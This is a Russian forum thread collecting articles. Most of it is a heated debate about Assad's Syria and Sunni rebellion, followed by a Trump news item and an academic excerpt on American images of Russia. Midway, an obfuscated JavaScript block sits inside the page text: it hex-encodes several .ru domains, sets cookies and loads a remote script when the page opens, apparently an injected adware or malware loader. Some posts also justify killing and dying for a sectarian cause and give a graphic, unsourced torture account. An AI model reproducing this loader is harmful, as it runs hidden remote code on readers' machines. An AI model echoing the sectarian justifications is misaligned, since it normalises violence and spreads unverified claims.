Каждый из нас бывает во многих уголках интернет-пространства и находит массу нужных, приятных, интересных и т.д. вещей. У нас на форуме есть пара-тройка тем, куда со всего интернета собирается всё интересное и смешное, новостное...
В сети столько добра всякого, что можно открыть ещё множество тем разной направленности.
Эту тему хотел посвятить интересным статьям и комментариям. Статьи обо всём, чего душа желает, главное, чтобы были образовательные, воспитательные, просветительные и развлекательные. Естесственно, не забываем формат Эльбы.
На сегодняшний день, периодически, бываю на десятке порталов и собираюсь делиться с вами тут интересными статьями.
Есть портал ИноСМИ со слоганом: всё, что достойно перевода. Не всегда, но довольно часто переводят хорошие статьи.
"Первый блин" из Чехии. Тема банальная и как всё банальное - вечная.)
Разброс мнений в комментах широкий, есть интересные и не очень. Я отобрал часть из них.
Mur, вы много чего написали (скопировали откуда-то), разрешите задать вам пару вопросов:
1. Вы считаете, что в период с начала семидесятых XX века по, допустим, 2010 год сирийский народ (в том числе преимущественно сунниты) под руководством клана Асад жил плохо? Не считая этой увлекательной истории из Вашего сообщения, факты (цифры) можете назвать из экономики, культуры и социальной сферы?
2. Вы оппозиционер Российской власти (учитывая общий контекст Вашей ссылки)?
3. Вы поддерживаете позицию Запада в том, что мир должен сперва избавиться от Асада и лишь потом бороться со злом в лице международного терроризма,
4. И если кратко: Что Вы хотели сказать этой ссылкой?
ссылка под текстом. Человек написавший этот тест знает о положении мусульман Сирии не понаслышке, т.к. он сам прожил там более 5лет.
Цитата
1. Вы считаете, что в период с начала семидесятых XX века по, допустим, 2010 год сирийский народ (в том числе преимущественно сунниты) под руководством клана Асад жил плохо?
2. Начните с того как пришел к власти отец Башара Асада - Хафез Асад. Папаша Башара пришел к власти в результате не одного, а аж 3-х госпереворотов в которых он был одной из ключевых фигур. Итогом переворотов стало назначение себя-любимого пожизненным президентом всея Сирии.
Страной Хафез Асад правил до самой смерти, проявив себя как крайне жесткий диктатор. Например, когда в 1976—1982 годах сунниты подняли вооруженный мятеж против режима, Асад отдал приказ армии действовать максимально жестко. Ключевым эпизодом стала резня в Хаме в феврале 1982 года, в ходе которой сирийская армия подвергла бомбардировке, а затем взяла штурмом оплот оппозиции город Хама. По разным оценкам, от 17 до 40 тысяч человек были убиты.
Но сынок Башар пошел весь в отца и даже переплюнул папашу. А число жертв его режима давно перевалило за 100 тысяч человек.
Международная правозащитная организация опубликовала 360-станичный доклад под названием «Если бы мертвецы могли говорить», основанный на 9-ти месячном исследовании 28 тыс. фотографий из тюремных моргов Асада. Фотографии были добыты беглым тюремным фотографом. Экспертиза доказала подлинность фотографий. По мнению организации, это свидетельства самых жестоких преступлений против человечности в этом веке. Последние такие доклады можно отнести к преступлениям нацистов в прошлом веке. По результатам медицинского исследования, все люди на фотографиях умерли в результате ужасных пыток. Однако причины смерти по мнению медиков различны. Одни погибли, обороняясь, другие в результате страшных пыток, третьи по причине ран и кожных заболеваний.
По мнению активистов, все эти материалы могли лечь в основу сотен уголовных дел против режима Башара Асада в международном суде. Но т.к. Сирия не подписала соглашение с международным судом, санкцию на дело может дать только Совбез ООН. Однако этот орган Организации Объединённых Наций полностью парализован правом вето России и Китая, которые традиционно встают на защиту этого преступного режима. Государственные суды различных стран также могут начать уголовное расследование, но для мотивации таких исков нужны пострадавшие граждане этих стран.
Возможно оппозиция попытается использовать такого рода доклады как инструмент давления на мировое сообщество, которое пока глухо к сирийской трагедии.
Пока еще видео не заблокировали.
О какой экономике и пр. можно вести речь если человек убивает свой народ сотнями тысяч?!!
Цитата
Воланд пишет:
2. Вы оппозиционер Российской власти (учитывая общий контекст Вашей ссылки)?
Да я не кремлебот!
Цитата
Воланд пишет:
Вы поддерживаете позицию Запада в том, что мир должен сперва избавиться от Асада и лишь потом бороться со злом в лице международного терроризма
нет я не сторонник не Запада не Востока, я сторонник мусульман-суннитов.
Цитата
Воланд пишет:
И если кратко: Что Вы хотели сказать этой ссылкой?
Этим текстом я говорю, что Башар Асад враг мусульман-суннитов.
А вы с этим несогласны?
Mur, не угрожайте мне, я добр и великодушен. Начну с того, что человек, проживший в Сирии последние 5 лет (именно последние пять лет) совершенно не показатель объективности информации, сами понимаете почему. Во-вторых, скажите, вооруженный мятеж конца семидесятых прошлого века носил политический, религиозный или экономический характер? Проблема суннитов выражалась в принципиальном несогласии с алавитской верхушкой или трудностями социально-экономического характера? В чем это выражалось? (Вы, кстати, не ответили на этот вопрос, поэтому я немного повторяюсь). В третьих, клан Асада все-таки, пришёл к власти с помощью французов или они сами себя назначили? А то мне показалось, что Ваши два сообщения противоречат друг другу в этой части. Ещё вопрос, Вы считаете, что сунниты Сирии в период правления клана Асад жили менее благополучно, чем сунниты других стран? Есть подтверждения? И ещё принципиальный вопрос: из Вашего сообщения следует, что Асад подавлял восстания и убивал (пытал) военных (вооруженных) мятежников. То есть, я вижу в данной ситуации мусульман суннитов не жертвой, а нападающими, а Вы как видите?. Следует ли из этого также делать вывод, что его (Ассада) тирания распространялась на мирное население? Как бы Вы поступали с оппозицией, если бы руководили страной? Пальчиком грозили или запрещали после 23.00 смотреть телевизор? У Вас есть своё мнение по такой ситуации? Ещё вопрос: Вы не допускаете, что международная правозащитная организация, на доклад которой Вы ссылаетесь, могла сфальсифицировать данные, так же, как это делал в своё время Пентагон, когда "доказывал" применение Асадом химического оружия, чтобы поддерживать сирийскую оппозицию в своих экономически корыстных целях? И, наверно, последний вопрос: Вам не кажется надуманной проблема религиозного противостояния в свете массовой гибели людей? Вы считаете, что справедливость восторжествует с приходом к власти мусульман суннитов и это политическое стремление стоит того, чтобы гибли тысячи людей, а миллионы лишались крова и хлеба? Не высока ли цена религиозной преданности? Видео по ссылке я даже открывать не буду, так как не смотрю материал, которое могут заблокировать. Я уважаю законы и принципы своей страны.
честно говоря вы меня удивляете! покажите мне тот участок моего поста где я вам угрожаю?
Цитата
Воланд пишет:
Начну с того, что человек, проживший в Сирии последние 5 лет (именно последние пять лет) совершенно не показатель объективности информации
Вы знаете я верю данному человеку потому, что он действительно честный человек. Вы если доверяете можете не верить.
Воланд пишет:
Во-вторых, скажите, вооруженный мятеж конца семидесятых прошлого века носил политический, религиозный или экономический характер?
Здесь все взаимосвязано. Естественно как и каждый тиран до Асада он жаждал власти, но последствия отразились на всем и больше всего на религии. Что мы сейчас с вами наблюдаем.
Цитата
Воланд пишет:
Проблема суннитов выражалась в принципиальном несогласии с алавитской верхушкой или трудностями социально-экономического характера? В чем это выражалось? (Вы, кстати, не ответили на этот вопрос, поэтому я немного повторяюсь)
Проблема мусульман заключалась и заключается в то, что они не принимают модель светского государства которое им диктует свои ценности.Это главное! Что касается алавитской верхушки (как вы правильно написали), то она естественно поддерживала своих и игнорировала мусульман-суннитов.
А вы мусульманин?
Цитата
Воланд пишет:
В третьих, клан Асада все-таки, пришёл к власти с помощью французов или они сами себя назначили? А то мне показалось, что Ваши два сообщения противоречат друг другу в этой части.
Думаю ответ на этот вопрос вы знаете. Если нет то проясню, путем переворотов при поддержке французов.
Цитата
Воланд пишет:
Ещё вопрос, Вы считаете, что сунниты Сирии в период правления клана Асад жили менее благополучно, чем сунниты других стран? Есть подтверждения?
странный вопрос. Если их убивают десятками и сотнями тысяч, как вы думаете им от этого хорошо?! или если люди исчезали за критику власти. Ответ помоему очевиден.
Цитата
Воланд пишет:
И ещё принципиальный вопрос: из Вашего сообщения следует, что Асад подавлял восстания и убивал (пытал) военных (вооруженных) мятежников. То есть, я вижу в данной ситуации мусульман суннитов не жертвой, а нападающими, а Вы как видите?.
Проясню. Асад подавлял вооруженные Гражданский мятеж. Вот скажите если будут убивать ваших родных и близких за то что они несогласны жить так так как это диктует какой то тиран ваши действия? И кто в этом случае жертва вы и ваши близкие или те кто их убивает? Или по другому если бы во время Сталина народ взбунтовался от репрессий и прочего и был подавлен в том числе с применением артиллерии кто здесь жертва?
Так что для меня все предельно ясно относительно Асада!
Цитата
пишет:
Следует ли из этого также делать вывод, что его (Ассада) тирания распространялась на мирное население?
про это уже написано выше.
Цитата
Воланд пишет:
Как бы Вы поступали с оппозицией, если бы руководили страной?
Пытался бы договориться без крови.
Цитата
Воланд пишет:
Пальчиком грозили или запрещали после 23.00 смотреть телевизор?
Уважаемый, свои фантазии оставьте при себе! Я помоему про вас ничего фантазировал.
Цитата
Воланд пишет:
У Вас есть своё мнение по такой ситуации?
Спасибо! Хороший вопрос нужно было задать изначально. Хотите услышать мое мнение:
«Верующие мужчины и женщины являются помощниками и друзьями друг другу. Они велят совершать одобряемое и запрещают предосудительное, совершают намаз, выплачивают закят, повинуются Аллаху и Его Посланнику. Аллах смилостивится над ними. Воистину, Аллах – Могущественный, Мудрый» (Коран 9:71).
В другом аяте:
«Воистину, верующие – братья» (Коран 49:10).
Пророк и посланник Аллаха Мухаммад СалляЛлаху Алейхи уа Саллям сказал:
«Верующие в проявлении милосердия, сочувствия и дружеских отношений друг к другу подобны единому телу: если какая-нибудь часть его начинает болеть, все остальные части тела отзываются на это бессонницей и лихорадкой» приводит его Муслим 2585.
Цитата
Воланд пишет:
Ещё вопрос: Вы не допускаете, что международная правозащитная организация, на доклад которой Вы ссылаетесь, могла сфальсифицировать данные, так же, как это делал в своё время Пентагон, когда "доказывал" применение Асадом химического оружия, чтобы поддерживать сирийскую оппозицию в своих экономически корыстных целях?
Теоретически возможно, но если предоставляют доказательства своему докладу то уж не поспоришь. И естественно этот доклад будет использован заинтересованными политическими силами.
Цитата
Воланд пишет:
И, наверно, последний вопрос: Вам не кажется надуманной проблема религиозного противостояния в свете массовой гибели людей?
Это не надуманная проблема! И однозначно имеет выраженную религиозную окраску! И главное противостояние идет уже между шиитами и суннитами.
Расскажу о частном случае. Семья суннит попадает в плен к асадитам. Его пытают издеваются и закапывают по шею в землю и говорят: "Сажи мой бог Асад"! Пленник как любой мусульманин понимает, что если он это скажет то умрет неверующим и попадет в Ад, а асадиты этото же знают и пытаются таким образом максимально навредить. Но для него смерть лучше чем неверие! Он отвечает: "нет бога кроме Аллаха"! Пытки и издевательства продолжаются, но пленник остается на своем и его полностью закапывают в землю живьем.
Цитата
Воланд пишет:
Вы считаете, что справедливость восторжествует с приходом к власти мусульман суннитов и это политическое стремление стоит того, чтобы гибли тысячи людей, а миллионы лишались крова и хлеба? Не высока ли цена религиозной преданности?
Я не могу знать будущего. Это известно только Всевышнему. А скажите власть Асада стоит сотен тысяч убитых, покалеченных и миллионов изгнаных? Цена высока, но и цель высока!
Цитата
Воланд пишет:
Видео по ссылке я даже открывать не буду, так как не смотрю материал, которое могут заблокировать. Я уважаю законы и принципы своей страны.
А какой закон вы нарушите если посмотрите видео не состоящее в списке запрещенных?
Mur,я не мусульманин, я-неверующий человек, не желающий никому зла, тем более смерти. И мне чужды Ваши рассуждения о средневековых методах выражения своей воли в обход средств, доступных в информатизационную эпоху. вы так и не ответили то, что я хотел услышать, а именно, в Сирии не было экономической, социальной или культурной катастрофы настолько, чтобы начинать Гражданскую войну, подвергая свои семьи опасности. Мусульмане Сунниты пошли пешками в игру, которую запланировал запад против других пешек Алавитов, чтобы в итоге придавить мизинец России. И те, и другие были заранее обречены на глупое обоюдное поражение, но религиозная безграмотность настолько поглотила их умы, что они не поняли, как уничтожили свою страну. Если бы я был рядом с тем пленным, я б ему объяснил, что в религии главное не слова, а намерения и поступки. От того что он произнёс ничего не значащую фразу, он не стал бы предателем религии, но мог бы сохранить свою жизнь и подарить её другому мусульманину (как вариант). Но нет же, марионетки никогда не думают о причинах и последствиях их не учит ничему опыт и ошибки своих соседей. Они готовы умирать ради Бога, который почему то позволяет им жить в нищете и страданиях, в то время как безбожники правят миром. Но я понял Вашу цель и Ваши переживания. Вы готовы оправдать убийство, и готовы сами умереть....сомневаюсь, что богу нужны такие нелепые жертвы. Видео не смотрю по той причине что вы сказали о возможности её блокировки. Ваших сомнений оказалось достаточно, чтобы сделать вывод о его аполитичности. Спасибо за ответы.
Воланд пишет:
Не считая этой увлекательной истории из Вашего сообщения, факты (цифры) можете назвать из экономики, культуры и социальной сферы?
Вы раб. Таким людям все равно, что они на цепи лишь бы кормили хорошо. (не страшно, что ты не можешь говорить свободно, главное в экономике норм, и то сомнительно). window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="18908",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "elbrusoid.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Шагди, Вы тоже считаете, что убивать и умирать ради политического превосходства нормально? Ведь в Сирии речь не шла о религиозном превосходстве, мятеж начался ради свержения политической власти, а не имама или главного муфтия. Чувствуете разницу? Объясню как детям в школе: Мусульмане сунниты хотели получить не место в мечети, а кресло в кабинете. Это стоило того, чтобы подвергнуть миллионы людей последствиям гражданской (настоящей) войны? Зачем нужна религия, если страдают женщины, дети и старики? Чем сунниты лучше алавитов, если и те, и другие -источник смерти и разрухи? из Вашего сообщения, простите, я ничего не понял. Если хотите что-то сказать, напишите так, чтобы можно было сделать какие-то выводы, а то на обзывали я в детском саду ещё перестал реагировать.
Воланд, Это противоречие материального и идеального. Идеалисты согласны отдавать свои жизни за возможность жить вне диктатуры. Последнее, зло для общества. Получается, что в идеализме тоже присутствует определенная доля здравого смысла, только не для данного человека (идеалиста), и не для данного времени (чтоб свергнуть тоталитарный режим понадобиться гражданская война), но в целом, для будущих поколений этого общества, это будет разумное благо.
Понятно, что политическая ситуация запутанная, не ясно была ли диктатура и пр.. Но основную мысль в том, что идеалисты во главу угла ставят не то, что поставили бы вы.
Asus, я тоже идеалист. Я идеализирую высокоразвитое гражданское общество, в котором все счастливы, здоровы, имеют право получать образование; иметь жильё, работу и проч. и лишь бы не было войны. По такой логике, можно начать войну за свои идеалы и умирать (убивать) за них. Одни за гражданское общество, другие за "возможность жить вне диктатуры", что, кстати, тоже по смыслу "за гражданское общество". Типа за одно и то же боремся, а выигрывают только поставщики оружия из добрых-добрых США. Вы готовы к этому? Вы согласны с этим? И, кстати, предыдущий оратор тоже почему то решил, что я материалист , выделив из контекста моего повествования только экономический аспект, хотя я принципиально указал и социальный, и культурный...прошу быть внимательным в дискуссии, или она при избирательном подходе теряет смысл.
Воланд пишет:
Mur,я не мусульманин, я-неверующий человек
Тогда естественно вам не понятно, что движет искренне верующими людьми!
Цитата
Воланд пишет:
И мне чужды Ваши рассуждения о средневековых методах выражения своей воли в обход средств, доступных в информатизационную эпоху.
Удивительно, что говорят неверующие! Если диктатор-тиран пытаясь удержать свою власть убивает свой народ сотнями тысяч, то это правильно цивилизованно, а если народ восстает против тирании, то это средневековье. Вам не кажется, что здесь что-то не так?
Цитата
Воланд пишет:
вы так и не ответили то, что я хотел услышать, а именно, в Сирии не было экономической, социальной или культурной катастрофы настолько, чтобы начинать Гражданскую войну, подвергая свои семьи опасности.
Повторюсь еще раз, неверующему человеку не понять верующего! Но если вы так сильно желаете:
"С 2006 по 2011 годы порядка 60 % сирийских земель испытали небывалую . Бесхозяйственность и растрачивание природных ресурсов страны привели к нехватке воды и . В некоторых регионах засуха привела к гибели урожая на 75 %, а поголовья скота на 85 %, что повлияло на жизнь 1.3 миллиона человек. Ещё в 2009 году и сообщали, что в результате засухи потеряли средства к существованию около 800 тысяч человек. А в 2010, согласно оценке ООН, на грани голода оказались миллион человек."
Но не это было главной причиной, а то что Асады перешли все границы дозволенного! Но неверующему этого не понять!
Кстати вы тоже не ответили тоже?
Цитата
Воланд пишет:
Мусульмане Сунниты пошли пешками в игру, которую запланировал запад против других пешек Алавитов
Поживем увидем.
Цитата
Воланд пишет:
чтобы в итоге придавить мизинец России.
Коммунисты тоже любили заниматься самовосхвалением, но всетаки канули в небытие. Великий могучий СССР - супердержава не смогла победить маленький Афганистан. Или вы уже забыли?
Цитата
Воланд пишет:
И те, и другие были заранее обречены на глупое обоюдное поражение
вроде как еще ничего не закончилось...
Цитата
Воланд пишет:
но религиозная безграмотность настолько поглотила их умы
точнее, жажда власти Асада и его приближенных...
Цитата
Воланд пишет:
что они не поняли, как уничтожили свою страну.
Если эта страна истребляет их, то почему они не имеют права уничтожать тех кто их истребляет?
Цитата
Воланд пишет:
Если бы я был рядом с тем пленным, я б ему объяснил, что в религии главное не слова, а намерения и поступки.
В том то все дело, что асадиты не сохранили бы ему жизнь ни при каком раскладе! Они пытались отнять у него последнее - его веру. Но им не удалось!
Цитата
Воланд пишет:
Но нет же, марионетки никогда не думают о причинах и последствиях их не учит ничему опыт и ошибки своих соседей.
Вам легко говорить сидя на мягком кресле, но что будет если начинать убивать ваших родных и близких в том числе маленьких детей и даже еще не рожденных?! Причем делать это особо изощренным образом и вас на глазах. Что вы будете говорить и делать в этом случае?
Цитата
Воланд пишет:
Они готовы умирать ради Бога, который почему то позволяет им жить в нищете и страданиях, в то время как безбожники правят миром.
Ради Всевышнего, ради своей религии, ради своих близких, ради своей земли! А разве это не стоит того?
Mur))) зачем Вы мне приводитесь данные по Сирии с 2009 года, если я спрашиваю про события конца 70-х прошлого века?)) вы хоть следите за ходом дискуссии?)) с 2009 года Сирия уже была взята в оборот (шла подготовка к войне), поэтому данные цифры не носят объективный характер и я даже не вижу смысла приводить их в качестве аргумента.
Вы правы, мне действительно не понять, "ЧТО движет искренне верующими людьми", которые за политическое кресло поубивали полстраны, а остальную превратили в беженцев.
Кстати, вопрос: до того, как сунниты организовали вооружённый мятеж в Сирии в прошлом веке, им кто-нибудь в государственном (не бытовом) масштабе чинил препятствия в ритуальном соблюдении веры (внутреннюю составляющую, естественно, никто не в силах подавить)? Читайте вопрос внимательно, каждое слово подобрано тщательно. Какие? Кто? В каком масштабе? Достаточно ли этого было для массовых убийств?
Как Вы считаете, человек, который посягает на государственную власть и пытается разрушить конституционный строй страны, должен нести за это ответственность? При этом прошу учитывать, что на тот момент Сирия была светским государством.
Далее, у человека нельзя отнять Веру, если он действительно верующий. Запомните это раз и навсегда и не сочтите за высокомерие с моей стороны, что даю Вам совет. Просто мне показалось, что Вы не знаете, что вера неотъемлема, она внутри тебя, раньше подсознания и глубже разума. Слова ничего не значат. Если бы все верующие это знали, люди бы не умирили в бессмысленных войнах.
Почему Вы считаете, что безбожник ничего не знает о Боге? Может я написал десятки трудов о религии и больше Вас знаю религиозные постулаты? Попрошу от Вас более весомый довод, чтобы доказать мою неправоту, если не трудно. Ответьте на вопрос, не касаясь моей личности так, словно не я его задал, а кто-то другой, верующий, например.
И последнее, я не оправдываю Асада и его клан. Перечитайте все мои сообщения и найдите, где я испытываю к нему симпатию. Я осуждаю войну, которую начали и продолжают сунниты во имя своих сомнительных идеалов, ибо никто у них Веру не отнимал и отнять не может. Люди воюют за власть, за нефть, за доллар. Жаль, что Вы не можете это понять.
Дональд Трамп: Хиллари Клинтон и Барак Обама создали «Исламское государство»
Кандидат в президенты США от Республиканской партии миллиардер Дональд Трамп заявил, что в создании террористической организации «Исламское государство» (ИГ, запрещена в России) виноваты нынешний президент страны Барак Обама и бывшая первая леди и экс-госсекретарь США Хиллари Клинтон. Об этом он заявил, комментируя нападение на посольство Саудовской Аравии в Иране. «Они создали ИГ. Хиллари Клинтон создала ИГ вместе с Обамой»,— приводит AP слова господина Трампа.
Напомним, президент России Владимир Путин назвал Дональда Трампа «ярким и талантливым человеком» и «абсолютным лидером президентской гонки». Дональд Трамп, в свою очередь, назвал большой честью для себя отзыв, который дал о нем Владимир Путин.
В.И. Журавлева СВЕТ АМЕРИКАНСКОЙ СВОБОДЫ И «ИМПЕРИЯ ТЬМЫ»: ОБРАЗ РОССИИ В КОНТЕКСТЕ «НОВОЙ МЕССИАНСКОЙ ИДЕИ» В США
(«Новый исторический вестник», 2008, №17 )
В 2000 г. известный американский историк и политический обозреватель Ст. Коэн назвал политику администрации Б. Клинтона крестовым походом с целью трансформировать посткоммунистическую Россию при президенте Б.Н. Ельцине в копию Америки с помощью спонсируемых США реформ. Миссионерами этого крестового похода, по его мнению, стали политики и бизнесмены, ученые и журналисты[1]. Подводя итог своим наблюдениям в книге «Провал крестового похода. США и трагедия посткоммунистической России»[2] Коэн писал о трагических последствиях очередного этапа «крестоносной лихорадки», которой периодически переболевало американское общество, вдохновленное чарующими надеждами на быстрое преобразование России и на стремление ее народа к американизации[3].
Впервые это случилось не в 1917 г. и не в годы Холодной войны, как предполагает подавляющее большинство исследователей по обе стороны Атлантики, а на рубеже XIX—XX вв., в тот период, когда Российская империя из далекого дружественного «Иного» превращалась в «Другого», значимого для выстраивания американской Я-концепции, и становилась одним из объектов глобальной миссии Америки по реформированию мира.
Два образа обрели особый смысл в американских репрезентациях России, свидетельствуя о метаморфозах ее восприятия. Демонический: Россия — «Империя Тьмы», «Страна-Тюрьма», где существует варварский, деспотический режим, препятствующий прогрессивному развитию. И романтический: Россия — страна, народ которой хочет и может быть реформирован по западному образцу, ожидает от американцев помощи в своей борьбе за либерализацию политического строя против ретроградного ксенофобствующего правительства. Их конструирование стало не только рефлексией на события, происходившие в России, результатом процесса «лучшего узнавания» и критического осмысления реалий российской действительности, следствием нарастания экономической конкуренции и столкновения экспансионистских амбиций двух стран на Дальнем Востоке. Они также диктовалось изменениями, происходившими в самих США, то есть «внутренней повесткой дня».
Американское общество переживало сложный период переосмысления «Себя» и собственного места в мире. Развитие Большого бизнеса и «социальные издержки» индустриализации подрывали веру в американскую мечту. Толпы иммигрантов «нетевтонского происхождения» вызывали беспокойство своей бедностью, принадлежностью к иной культуре и чуждыми политическими традициями, бросая вызов национальной идентичности. Падение интереса к вопросам веры и деморализующий материализм создавали угрозу фундаментальным основам американского образа жизни. Сегрегация афроамериканцев и суд Линча, «захлопнутые двери» для китайских иммигрантов и резервации для индейцев дискредитировали право США на распространение демократических идеалов во всем мире.
В этих условиях формировалась «новая мессианская идея», связанная с видением перспектив модернизации России и особой роли США в ее обновлении, закладывавшая основу дихотомического осмысления заведомо противоречивой российской действительности и призванная укрепить веру американцев в особое предназначение в период смут и разочарований.
«Крестовый поход» за создание Свободной России развернулся в США в конце 1880-х гг. благодаря инициативам русских политэмигрантов, лекциям и публикациям Дж. Кеннана, который представил Западу наглядную, хотя и не лишенную гиперболизации, характеристику карательной политики самодержавия и вестернизировал образ русских революционеров, деятельности американских Друзей русской свободы и многочисленным публикациям в прессе. Прологом этого своеобразного движения за продвижение демократии в Россию стали выступления более ранних оппонентов царизма, таких как У.Дж. Армстронг, но, главное, масштабная кампания протеста, организованная представителями иудейской и христианской части американского общества в ответ на еврейские погромы начала 1880-х гг. в Российской империи.
С этого момента критика политики антисемитизма превратилась в важный механизм демонизации представлений о России и поддержания мессианских настроений в США. В ходе многочисленных митингов и уличных манифестаций, на страницах газет и журналов, в петициях, направляемых в Сенат и Палату представителей, в текстах резолюций, принятых в Конгрессе, стала формироваться риторика, способствовавшая возникновению (пока на общественном уровне) идеи «гуманитарной интервенции» и конструированию образа России — «страны Средневековья, варварства и восточного деспотизма», уподоблявшейся Османской империи[4]. Аргументация выстраивалась на основе идеалистических и мессианских установок, однако не была лишена прагматических соображений, так как следствием дискриминации русских евреев стала их массовая эмиграции за океан.
Первая волна «крестового похода» пришлась на конец 1880-х — начало 1890-х гг. Она достигла пика в период борьбы против ратификации русско-американской конвенции о взаимной выдаче преступников 1887 г., а также обострения «еврейского вопроса» во всех трех его составляющих: гражданско-правовой, иммиграционной и «паспортной».
В итоге анализ отношений между двумя странами начал выстраиваться с использованием оппозиций «Свет—Тьма», «Цивилизация—Варварство», «Свобода—Рабство», «Прогресс—Регресс». Именно в это время в Нью-Йорке на углу 23 улицы и 5 авеню среди огромных рекламных надписей появилась и такая: «Цивилизация должна заявить протест против жестокостей, происходящих в России»[5].
В конце XIX в. Нью-Йорк превратился в центр русско-еврейской иммиграции, а выходцы из Российской империи вместе со своими восточноевропейскими единоверцами создали самое большое в мире еврейское гетто. Они стали носителями негативного образа покинутой ими страны и вливались в ряды «новых иммигрантов» — нежелательных в представлениях нейтивистов и вызывавших тревогу как на общественном, так и на государственном уровне.
В 1891 г. в Российскую империю отправились представители американской иммиграционной комиссии, сформированной президентом Б. Гаррисоном, для выяснения причин переселенческого движения из стран Восточной Европы. Вернувшись в США, комиссионеры Дж. Вебер и У. Кемпстер активно включились в начавшийся «крестовый поход», выступая в качестве авторитетных экспертов по «русскому вопросу». В описании Кемпстера, который, по его собственному признанию, подобно Дж. Кеннану пережил обращение в «антицаристскую веру», Россия представала страной, где существовала одна из самых «варварских» практик по отношению к инаковерующим[6]. А Дж. Вебер, живописуя увиденный им «карнавал гонений, грабежа и террора», постоянно апеллировал к чувству гордости американцев за свою страну, проводя сравнения между империей деспотизма и произвола, не достойной считаться ни цивилизованной, ни христианской, и республикой свободы, равенства и демократии. Он призывал соотечественников к самому громкому протесту, а в случае необходимости предлагал отозвать дипломатического представителя из С.-Петербурга, дабы не иметь ничего общего с режимом «дикости и варварства»[7].
И это — лишь один из многочисленных примеров того, как путешествие в Российскую империю, совпавшее, кроме того, с выселением евреев из Москвы и Московской губернии, добавляло негативных красок в палитру представлений американцев о России как о «тюрьме для политических диссидентов, представителей национальных и религиозных меньшинств».
Важной коммуникативной стратегией, использованной в ходе начавшегося в «крестового похода», стало сравнение Российской империи с рабовладельческим Югом. Этот риторический прием был интегрирован в американский общественно-политический дискурс не американцами, а революционерами-народниками в 1881 г.[8], затем уже подхвачен сенатором легислатуры штата Индиана У. Фульком в его книге «Славянин или сакс» (1887 г.) и тиражирован на страницах американской прессы сразу же после подписания конвенции о взаимной выдаче преступников, но в особенности в период борьбы против ратификации этого «международного договора о беглых рабах»[9]. Глядя на имена американцев, поддержавших создание Общества американских друзей русской свободы (SAFRF), у современников не случайно возникало ощущение своеобразного ривайвела аболиционизма. Да и само общество размещалось в Бостоне, в свое время игравшего роль центра борьбы против рабства. Бывшие аболиционисты и их дети привносили в движение за обновление России крестоносный дух, характерный для их века, и своей деятельностью способствовали превращению Российской империи в поле для миссионерской деятельности. Русские революционеры уподоблялись аболиционистам и ассоциировались с поколением Джона Брауна. Книга Кеннана получила название “Хижина Дяди Тома” сибирской ссылки», ее автор сравнивал русских революционерок, просвещавших крестьян в глухих деревнях, с американками, преподававшими в негритянских школах Юга в период Реконструкции. А в своем обращении к читателям в последнем номере американского издания «Free Russia» Ф.В. Волховский от имени редколлегии открыто заявлял: «В нашем представлении существовали прямые и самые тесные аналогии между агитацией за отмену рабства в США и движением за создание свободных политических институтов для политических рабов России»[10].
Так события в России начинали осмысливаться посредством дихотомии «Свобода—Рабство», а ее народ, порабощенный деспотизмом, превращался в объект глобальной миссии США.
Причем сравнение русских крестьян с афроамериканцами не только свидетельствовало об определенном налете расизма, характерном для взглядов «крестоносцев», но и отражало их сомнения в способности «темного люда» Российской империи к быстрой модернизации. Тем, кто в США мечтал о ее скором переустройстве по западному образцу, кто конструировал образ «России—способного ученика» приходилось преодолевать свои опасения по поводу достаточной просвещенности русского народа и его подготовленности к самоуправлению, ощущение отсталости славян, которое вписывалось в поздневикторианское видение иерархии рас.
В этом им неизменно помогали русские политические визитеры: Л. Гартман и С.М. Степняк-Кравчинский — в конце XIX в., П.Н. Милюков, А.Ф. Аладьин, Н.В. Чайковский — в начале XX в. Они приезжали в США с целью подбросить дров в костер американского универсального либерализма и убедить американцев в том, что русский народ готов совершить «революцию 1776 г.» и ожидает помощи в своей борьбе за свободу из-за океана.
Представления о России, получившие распространение в ходе первого «крестового похода» за ее демократизацию, были не только тиражированы на страницах американской прессы в передовицах, статьях и карикатурах[11], озвучены в выступлениях общественных и религиозных деятелей, конгрессменов и партийных функционеров, обрисованы в воспоминаниях дипломатов, работах публицистов и записках путешественников, но и нашли свое выражение в художественной литературе.
